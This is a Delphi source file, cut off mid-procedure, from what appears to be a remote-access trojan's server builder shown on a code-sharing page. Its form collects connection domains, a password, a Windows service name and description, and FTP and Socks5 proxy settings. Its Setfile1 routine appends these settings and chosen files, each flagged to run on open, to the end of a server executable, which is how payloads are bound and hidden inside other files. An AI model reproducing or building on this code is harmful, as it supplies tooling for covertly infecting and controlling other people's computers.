📄 configserverunit.pas
字号:
unit ConfigServerUnit;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, DynamicSkinForm, SkinCtrls, ComCtrls, SkinBoxCtrls, StdCtrls,
Mask, ExtCtrls, SkinTabs, jpeg, ShellApi,DESCrypt, LangFrm;
type
FILE_INFO=record
Filename:array[0..MAX_PATH] of char;
Por:array[0..MAX_PATH] of char;
isopen:integer;
len:integer;
end;
type
TConfigServer = class(TLangForm)
SaveDialog1: TSaveDialog;
PageControl6: TspSkinPageControl;
TabSheet1: TspSkinTabSheet;
TabSheet2: TspSkinTabSheet;
Label8: TspSkinStdLabel;
ComboBox1: TspSkinComboBox;
Label9: TspSkinStdLabel;
ComboBox2: TspSkinComboBox;
CheckBox1: TspSkinCheckRadioBox;
CheckBox2: TspSkinCheckRadioBox;
TabSheet3: TspSkinTabSheet;
CheckBox6: TspSkinCheckRadioBox;
Label10: TspSkinStdLabel;
BtEdit: TspSkinEdit;
Label11: TspSkinStdLabel;
ZwEdit: TspSkinEdit;
Label12: TspSkinStdLabel;
ComboBox6: TspSkinComboBox;
Label13: TspSkinStdLabel;
ComboBox7: TspSkinComboBox;
TabSheet4: TspSkinTabSheet;
CheckBox3: TspSkinCheckRadioBox;
spSkinPanel1: TspSkinPanel;
OverEdit: TspSkinEdit;
Label26: TspSkinStdLabel;
NextButton: TspSkinButton;
TabSheet5: TspSkinTabSheet;
spSkinGroupBox1: TspSkinGroupBox;
spSkinGroupBox2: TspSkinGroupBox;
RadioBox5: TspSkinCheckRadioBox;
Label20: TspSkinStdLabel;
FtpPort: TspSkinEdit;
Label21: TspSkinStdLabel;
Ftpuser: TspSkinEdit;
Label22: TspSkinStdLabel;
Ftppass: TspSkinEdit;
Banner: TspSkinEdit;
Label23: TspSkinStdLabel;
RadioBox10: TspSkinCheckRadioBox;
Label17: TspSkinStdLabel;
Socks5port: TspSkinEdit;
Label18: TspSkinStdLabel;
Socks5User: TspSkinEdit;
Label19: TspSkinStdLabel;
Socks5pass: TspSkinEdit;
Button10: TspSkinButton;
TabSheet6: TspSkinTabSheet;
Label25: TspSkinStdLabel;
spSkinEdit1: TspSkinEdit;
spSkinButton1: TspSkinButton;
CheckBox10: TspSkinCheckRadioBox;
spSkinButton2: TspSkinButton;
spSkinPanel2: TspSkinPanel;
ListView1: TspSkinListView;
spSkinScrollBar22: TspSkinScrollBar;
spSkinScrollBar23: TspSkinScrollBar;
Label24: TspSkinStdLabel;
spSkinEdit2: TspSkinEdit;
RadioBox1: TspSkinCheckRadioBox;
Label14: TspSkinStdLabel;
ServerView: TspSkinEdit;
Label15: TspSkinStdLabel;
ServerName: TspSkinEdit;
Label16: TspSkinStdLabel;
ServerText: TspSkinEdit;
OpenDialog2: TOpenDialog;
spDynamicSkinForm1: TspDynamicSkinForm;
Label1: TspSkinStdLabel;
com126Edit: TspSkinEdit;
DnsEdit: TspSkinEdit;
Label2: TspSkinStdLabel;
httpEdit: TspSkinEdit;
Label3: TspSkinStdLabel;
Label4: TspSkinStdLabel;
Passwd: TspSkinEdit;
Label5: TspSkinStdLabel;
Image2: TImage;
UpDown1: TspSkinUpDown;
GrEdit3: TspSkinEdit;
Label6: TspSkinStdLabel;
Label7: TspSkinStdLabel;
BeizhuEdit: TspSkinEdit;
procedure NextButtonClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure OverEditButtonClick(Sender: TObject);
procedure CheckBox6Click(Sender: TObject);
procedure RadioBox5Click(Sender: TObject);
procedure RadioBox10Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure UpDown1Change(Sender: TObject);
procedure spSkinEdit1ButtonClick(Sender: TObject);
procedure spSkinButton1Click(Sender: TObject);
procedure spSkinButton2Click(Sender: TObject);
procedure RadioBox1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
function JieMi(s:string):string;
function JiaMi(s:string):string;
procedure Setfile1;
end;
var
ConfigServer: TConfigServer;
implementation
uses
Main,DlgshowUnit;
{$R *.dfm}
function TConfigServer.JieMi(s:string):string;
var str:String;
i:integer;
ch:char;
begin
Result:=s;
end;
function TConfigServer.JiaMi(s:string):string;
var str:string;
i:Integer;
ch:char;
begin
Result:=s;
end;
procedure TConfigServer.Setfile1;
var
i:integer;
SS:integer;
info:FILE_INFO;
fstream1:Tfilestream;
fstream2:Tfilestream;
buf:array[0..4096] of byte;
F:File;
Str:array [1..100] of char;
j,k,l,m,n:String;
S:String;
Each_size:array [1..27]of char;
SfileSize:integer;
begin
SfileSize:=0;
try
if ListView1.Items.Count>0 then
begin
try
fstream1:=tfilestream.Create(pchar(OverEdit.text),fmopenreadwrite);
fstream1.Seek(0,soFromEnd);
SfileSize:=fstream1.Size;
for i:=0 to ListView1.Items.Count-1 do
begin
Strpcopy(info.filename,extractfilename(ListView1.Items.Item[i].SubItems.Strings[0]));
Strpcopy(info.Por,ListView1.Items.Item[i].SubItems.Strings[1]);
fstream2:=tfilestream.Create(ListView1.Items.Item[i].SubItems.Strings[0],fmopenread);
fstream2.Seek(0,soFromBeginning);
info.len:=fstream2.Size;
if ListView1.Items.Item[i].Checked then
info.isopen:=1
else
info.isopen:=0;
fstream1.Write(info,sizeof(info));
while fstream2.Position<>fstream2.Size do
begin
SS:=fstream2.Read(buf,sizeof(buf));
fstream1.Write(buf,SS);
end;
fstream2.free;
end;
finally
fstream1.free;
end;
end;
except
end;
AssignFile(F,OverEdit.text);
FileMode:=2;
Reset(F,1);
Seek(F,Filesize(F));
for i:=1 to 2 do Str[i]:=Char(0);
j:=inttostr(ComboBox1.ItemIndex);
S:=JiaMi(j);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[1]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ComboBox2.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[2]:=Char(length(S));
for i:=1 to 3 do Str[i]:=Char(0);
if CheckBox1.Checked then j:='1'
else j:='0';
if CheckBox2.Checked then k:='1'
else k:='0';
S:=JiaMi(j+k);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,str,length(S));
Each_size[3]:=Char(length(S));
for i:=1 to 3 do Str[i]:=Char(0);
if CheckBox3.Checked then j:='1'
else j:='0';
if RadioBox1.Checked then k:='1'
else k:='0';
S:=JiaMi(j+k);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[4]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ServerView.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[5]:=Char(length(S));
for i:=1 to 100 do Str[i]:=char(0);
S:=JiaMi(ServerName.Text);
for i:=1 to Length(S) do Str[i]:=S[i];
BlockWrite(F,Str,length(S));
Each_size[6]:=char(length(s));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ServerText.text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[7]:=Char(length(S));
for i:=1 to 4 do Str[i]:=Char(0);
if CheckBox6.Checked then j:='1'
else j:='0';
k:=inttoStr(ComboBox6.ItemIndex);
l:=inttoStr(ComboBox7.ItemIndex);
S:=JiaMi(j+k+l);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[8]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(BtEdit.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[9]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
S:=JiaMi(ZwEdit.Text);
For i:=1 to length(S) do Str[i]:=S[i];
Blockwrite(F,Str,length(S));
Each_size[10]:=Char(length(S));
for i:=1 to 100 do Str[i]:=Char(0);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -